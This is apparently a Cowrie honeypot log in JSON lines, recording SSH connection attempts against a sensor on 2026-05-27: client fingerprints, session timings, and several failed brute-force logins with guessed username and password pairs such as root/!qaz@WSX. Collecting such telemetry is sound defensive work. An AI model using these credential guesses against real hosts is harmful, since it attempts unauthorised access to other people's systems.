{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:47.389458Z","src_ip":"95.38.165.118","session":"5abcd5dc3e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:48.551807Z","src_ip":"95.38.165.118","session":"5abcd5dc3e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36340,"dst_ip":"159.203.135.109","dst_port":22,"session":"f316199bdb49","protocol":"ssh","message":"New connection: 103.82.132.16:36340 (159.203.135.109:22) [session: f316199bdb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:48.750257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:48.756636Z","src_ip":"103.82.132.16","session":"f316199bdb49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:49.011978Z","src_ip":"103.82.132.16","session":"f316199bdb49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:49.436639Z","src_ip":"95.38.165.118","session":"2e9efd43519a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:49.734014Z","src_ip":"95.38.165.118","session":"5abcd5dc3e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16101988","message":"login attempt [root/16101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:49.769664Z","src_ip":"103.82.132.16","session":"f316199bdb49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.18153762817383,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:50.054237Z","src_ip":"69.4.83.194","session":"3796ce8171c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:50.597517Z","src_ip":"95.38.165.118","session":"2e9efd43519a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:51.023701Z","src_ip":"103.82.132.16","session":"f316199bdb49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46354,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1acd4eeb152","protocol":"ssh","message":"New connection: 95.38.165.118:46354 (10.17.0.5:22) [session: a1acd4eeb152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:52.608739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:52.719485Z","src_ip":"95.38.165.118","session":"a1acd4eeb152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:52.894865Z","src_ip":"95.38.165.118","session":"a1acd4eeb152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:56.994337Z","src_ip":"95.38.165.118","session":"a1acd4eeb152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43776,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6ebdcc426b5","protocol":"ssh","message":"New connection: 95.38.165.118:43776 (10.17.0.5:22) [session: f6ebdcc426b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:57.572362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:57.614998Z","src_ip":"95.38.165.118","session":"f6ebdcc426b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:57.759820Z","src_ip":"95.38.165.118","session":"f6ebdcc426b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:58.176003Z","src_ip":"95.38.165.118","session":"a1acd4eeb152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":36414,"dst_ip":"159.203.135.109","dst_port":22,"session":"92376277c7c8","protocol":"ssh","message":"New connection: 43.245.97.82:36414 (159.203.135.109:22) [session: 92376277c7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:59.588902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:59.594339Z","src_ip":"43.245.97.82","session":"92376277c7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:59.830237Z","src_ip":"43.245.97.82","session":"92376277c7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aabb1122","message":"login attempt [root/Aabb1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:00.807551Z","src_ip":"43.245.97.82","session":"92376277c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":44898,"dst_ip":"159.203.135.109","dst_port":22,"session":"7666920aeead","protocol":"ssh","message":"New connection: 77.239.106.153:44898 (159.203.135.109:22) [session: 7666920aeead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:01.920613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:01.926404Z","src_ip":"77.239.106.153","session":"7666920aeead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:02.020132Z","src_ip":"77.239.106.153","session":"7666920aeead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:02.047546Z","src_ip":"43.245.97.82","session":"92376277c7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"m","password":"m","message":"login attempt [m/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:02.425966Z","src_ip":"77.239.106.153","session":"7666920aeead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:02.585287Z","src_ip":"95.38.165.118","session":"f6ebdcc426b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43790,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6816366317a","protocol":"ssh","message":"New connection: 95.38.165.118:43790 (10.17.0.5:22) [session: c6816366317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:03.388600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:03.396416Z","src_ip":"95.38.165.118","session":"c6816366317a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:03.522898Z","src_ip":"77.239.106.153","session":"7666920aeead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:03.561879Z","src_ip":"95.38.165.118","session":"c6816366317a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:03.750165Z","src_ip":"95.38.165.118","session":"f6ebdcc426b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:06.397584Z","src_ip":"95.38.165.118","session":"c6816366317a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:07.650556Z","src_ip":"95.38.165.118","session":"c6816366317a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46368,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c4abea862f","protocol":"ssh","message":"New connection: 95.38.165.118:46368 (10.17.0.5:22) [session: c3c4abea862f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:09.269173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:09.274469Z","src_ip":"95.38.165.118","session":"c3c4abea862f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:10.002779Z","src_ip":"95.38.165.118","session":"c3c4abea862f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:10.526325Z","src_ip":"95.38.165.118","session":"c3c4abea862f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:12.160543Z","src_ip":"95.38.165.118","session":"c3c4abea862f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46370,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bd7bf34d647","protocol":"ssh","message":"New connection: 95.38.165.118:46370 (10.17.0.5:22) [session: 0bd7bf34d647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:14.649823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:14.659597Z","src_ip":"95.38.165.118","session":"0bd7bf34d647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@open